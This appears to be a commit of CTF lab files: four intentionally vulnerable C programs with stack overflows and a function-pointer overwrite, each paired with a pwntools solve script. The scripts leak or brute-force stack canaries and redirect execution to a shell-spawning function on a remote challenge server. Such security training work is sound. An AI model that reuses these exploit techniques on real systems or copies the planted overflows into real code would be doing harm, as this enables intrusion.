Second CTFs part

lab1_2_recap/01_parrot_cage/.gdb_history

@@ -0,0 +1,14 @@
+r
+quit
+r
+disass vuln
+r
+disass vuln
+b *0x000000000040131b
+r
+quit
+disass vuln
+b *0x00000000004012a9
+r
+n
+disass vuln

lab1_2_recap/01_parrot_cage/main.c

@@ -0,0 +1,48 @@
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdint.h>
+
+__attribute__((noinline))
+void win(void) {
+    char *flag = getenv("FLAG");
+    puts(flag);
+    fflush(stdout);
+    _exit(0);
+}
+
+__attribute__((noinline))
+void vuln(void) {
+    char buf[64];
+
+    puts("=== Polly's Parrot Cage ===\n"
+         "Polly repeats everything you say!\n"
+         "Type a message and Polly will squawk it back.\n"
+         "Say 'bye' when you're done chatting.\n");
+    fflush(stdout);
+
+    for (;;) {
+        ssize_t n = read(STDIN_FILENO, buf, 0x200);
+        if (n < 0) {
+            perror("read");
+            exit(1);
+        }
+        if (n == 0) {
+            break;
+        }
+        if (n >= 3 && buf[0] == 'b' && buf[1] == 'y' && buf[2] == 'e') {
+            break;
+        }
+        puts(buf);
+    }
+}
+
+int main(void) {
+    setvbuf(stdout, NULL, _IONBF, 0);
+    setvbuf(stdin, NULL, _IONBF, 0);
+    vuln();
+    puts("Polly says goodbye! *squawk*");
+    return 0;
+}

lab1_2_recap/01_parrot_cage/solve.py

@@ -0,0 +1,54 @@
+#!/usr/bin/env python3
+from pwn import *
+
+elf = context.binary = ELF('./parrot_cage', checksec=False)
+
+OFFSET_TO_CANARY = 72
+#OFFSET_TO_RIP = 88
+
+#p = process(elf.path)
+p = remote('offsec.m0lecon.it',13531)
+print(p.recvline())
+print(p.recvline())
+print(p.recvline())
+print(p.recvline())
+#print(p.recvline())
+#print(p.recvuntil(b'chatting\n'))
+#p.send(b"A"*30+b'\x00'+b"B"*30)
+#For the future: the first byte in the canary is \x00, so I need
+# to overwrite it in order to print the canary
+payload = flat(
+    #b'\x00',
+    b"A" * (OFFSET_TO_CANARY+1),
+    #b'\x00',
+    #p64(canary),
+    #b"B"  * 30,
+    #b"B" * ( OFFTSET_TO_RIP - OFFSET_TO_CANARY - 8),
+    #p64(win_addr),
+)
+p.send(payload)
+p.recvline()
+
+#add the missing 00 byte and convert to int
+canary_raw = b'\x00'+p.recvline()[(OFFSET_TO_CANARY+1):OFFSET_TO_CANARY+1+7].strip()
+print(canary_raw)
+canary = int.from_bytes(canary_raw, byteorder='little')
+print(f"Canary:{p64(canary)}")
+payload = flat(
+    b'A'* OFFSET_TO_CANARY,
+    p64(canary),
+    b'B' * 8, #RBP
+    p64(0x000000000040101a), #gadget
+    p64(0x0000000000401236), #win
+)
+p.send(payload)
+p.sendline(b'bye')
+print(p.recvline())
+#print(p.recvline())
+p.interactive()
+#print(b"Recv "+p.recvline())
+#print(p.recvline())
+
+"""p.send(payload)
+p.sendline(b'bye')
+p.interactive()"""

lab1_2_recap/02_enchanted_forest/main(1).c

@@ -0,0 +1,42 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+static void setup(void) {
+    setvbuf(stdin, NULL, _IONBF, 0);
+    setvbuf(stdout, NULL, _IONBF, 0);
+    setvbuf(stderr, NULL, _IONBF, 0);
+}
+
+static void default_spell(void) {
+    puts("Poof! A tiny spark flies out... not very impressive.");
+}
+
+__attribute__((noreturn)) static void win(void) {
+    puts("Ancient magic awakens! The forest bows to you.");
+    char *argv[] = {"/bin/sh", NULL};
+    execve("/bin/sh", argv, NULL);
+    _exit(0);
+}
+
+static void vuln(void) {
+    struct {
+        char incantation[64];
+        void (*cast)(void);
+    } spell;
+
+    spell.cast = default_spell;
+
+    printf("Whisper your incantation:\n");
+    read(STDIN_FILENO, spell.incantation, 128);
+
+    printf("Casting spell...\n");
+    spell.cast();
+}
+
+int main(void) {
+    setup();
+    printf("Welcome to the Enchanted Forest!\n");
+    vuln();
+    return 0;
+}

lab1_2_recap/02_enchanted_forest/solve.py

@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+from pwn import *
+
+elf = context.binary = ELF("./canary_callback", checksec=False)
+
+# p = process(elf.path)
+p = remote("offsec.m0lecon.it", 13575)
+print(p.recvuntil(b"incantation:"))
+# There is canary but is after the function pointer
+win = 0x00000000004012A3
+payload = flat(
+    b"A" * 64,
+    p64(win),
+)
+p.send(payload)
+p.interactive()
+# p.recvline()
+# p.recvline()

lab1_2_recap/03_lighthouse/main(2).c

@@ -0,0 +1,111 @@
+#define _GNU_SOURCE
+#include <arpa/inet.h>
+#include <errno.h>
+#include <netinet/in.h>
+#include <signal.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+static void die(const char *msg) {
+    perror(msg);
+    exit(1);
+}
+
+static void setup_stdio(void) {
+    setvbuf(stdout, NULL, _IONBF, 0);
+    setvbuf(stderr, NULL, _IONBF, 0);
+}
+
+__attribute__((used))
+void win(void) {
+    system("/bin/sh");
+}
+
+__attribute__((noinline))
+void vuln(void) {
+    char buf[128];
+    puts("Enter your signal log entry: ");
+    read(STDIN_FILENO, buf, 0x200);
+}
+
+__attribute__((noinline))
+void handle_client(int fd) {
+    FILE *f = fdopen(fd, "r+");
+    if (!f) die("fdopen");
+    dup2(fd, 0); dup2(fd, 1); dup2(fd, 2);
+
+    setup_stdio();
+    puts("=== Lighthouse Control Panel ===");
+    puts("1) Record signal log");
+    puts("2) Disconnect");
+    printf("> ");
+    char choice[8];
+    if (!fgets(choice, sizeof choice, f)) return;
+    switch (choice[0]) {
+        case '1':
+            vuln();
+            puts("Log entry recorded. Over and out.");
+            return;
+        case '2':
+            puts("Disconnecting. Fair winds.");
+            return;
+        default:
+            puts("Unknown command. Disconnecting.");
+            break;
+    }
+}
+
+static void reap(int sig) {
+    (void)sig;
+    while (waitpid(-1, NULL, WNOHANG) > 0) {}
+}
+
+int main(int argc, char **argv) {
+    (void)argc; (void)argv;
+    setup_stdio();
+
+    signal(SIGCHLD, reap);
+
+    int port = 9001;
+    const char *env_port = getenv("PORT");
+    if (env_port) port = atoi(env_port);
+
+    int s = socket(AF_INET, SOCK_STREAM, 0);
+    if (s < 0) die("socket");
+    int one = 1;
+    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
+
+    struct sockaddr_in addr = {0};
+    addr.sin_family = AF_INET;
+    addr.sin_addr.s_addr = htonl(INADDR_ANY);
+    addr.sin_port = htons((uint16_t)port);
+
+    if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("bind");
+    if (listen(s, 16) < 0) die("listen");
+
+    printf("[*] Lighthouse beacon active on port %d\n", port);
+    for (;;) {
+        struct sockaddr_in cli; socklen_t cl = sizeof cli;
+        int c = accept(s, (struct sockaddr *)&cli, &cl);
+        if (c < 0) {
+            if (errno == EINTR) continue;
+            die("accept");
+        }
+        pid_t pid = fork();
+        if (pid < 0) die("fork");
+        if (pid == 0) {
+            // Child
+            close(s);
+            handle_client(c);
+            close(c);
+            _exit(0);
+        }
+        close(c);
+    }
+}

lab1_2_recap/03_lighthouse/solve.py

@@ -0,0 +1,62 @@
+#!/usr/bin/env python3
+from pwn import *
+
+CANARY_OFF = 136
+elf = context.binary = ELF('./lighthouse', checksec=False)
+
+#p = remote('127.0.0.1',9001)
+#p = remote('offsec.m0lecon.it',13575)
+HOST = 'offsec.m0lecon.it'
+PORT = 13535
+
+known = b"\x00"
+
+for i in range(7):
+    for bval in range(256):
+        guess = known + bytes([bval])
+        payload = b"A" * CANARY_OFF + guess
+
+        io = remote(HOST, PORT, level='error')
+
+        io.recvuntil(b'>')
+        io.sendline(b'1')
+        #print(io.recvline())
+        io.recvuntil(b'entry: \n')
+        io.send(payload)
+
+        try:
+            data = io.recv(timeout=0.2)
+        except EOFError:
+            data = b""
+        io.close()
+        if b"Log entry recorded. Over and out." in data:
+            known = guess
+            log.success(f"byte {i+1}: {bval:02x}")
+            break
+
+canary = u64(known)
+
+#canary = 0xaa0f007629225000
+
+log.info(f"Canary: {canary:#x}")
+
+
+io = remote(HOST, PORT, level='error')
+
+io.recvuntil(b'>')
+io.sendline(b'1')
+        #print(io.recvline())
+io.recvuntil(b'entry: \n')
+payload = flat(
+    b'A' * (CANARY_OFF),
+    p64(canary),
+    b'B' * 8, #rbp,
+    p64(0x000000000040101a), #ret
+    p64(0x0000000000401630), #win
+)
+io.send(payload)
+io.sendline(b'cat /home/user/flag')
+print(io.recvline())
+#io.recvline()
+#p.recvline()
+#p.recvline()

lab1_2_recap/04_the_whispering_wall/main(3).c

@@ -0,0 +1,30 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+void setup() {
+    setvbuf(stdin, NULL, _IONBF, 0);
+    setvbuf(stdout, NULL, _IONBF, 0);
+    setvbuf(stderr, NULL, _IONBF, 0);
+}
+
+void win() {
+    puts("How did you fit through that tiny window?!");
+    system("/bin/sh");
+}
+
+void vuln() {
+    char whisper[16];
+
+    puts("Psst! This is the whispering wall.");
+    puts("Only tiny messages allowed... or are they?");
+    puts("whisper:");
+
+    gets(whisper);
+}
+
+int main() {
+    setup();
+    vuln();
+    return 0;
+}

lab1_2_recap/04_the_whispering_wall/solve.py

@@ -0,0 +1,20 @@
+#!/usr/bin/env python3
+from pwn import *
+
+elf = context.binary = ELF('./whispering_wall', checksec=False)
+
+p = process(elf.path)
+p = remote('offsec.m0lecon.it',13566)
+p.recvuntil(b'whisper:\n')
+payload = flat(
+    b'A' * 16,
+    b'B' * 8,
+    p64(0x000000000040101a), #ret
+    p64(0x00000000004011fb),#win
+)
+p.send(payload)
+p.interactive()
+#print(p.recvline())
+#io.recvline()
+#p.recvline()
+#p.recvline()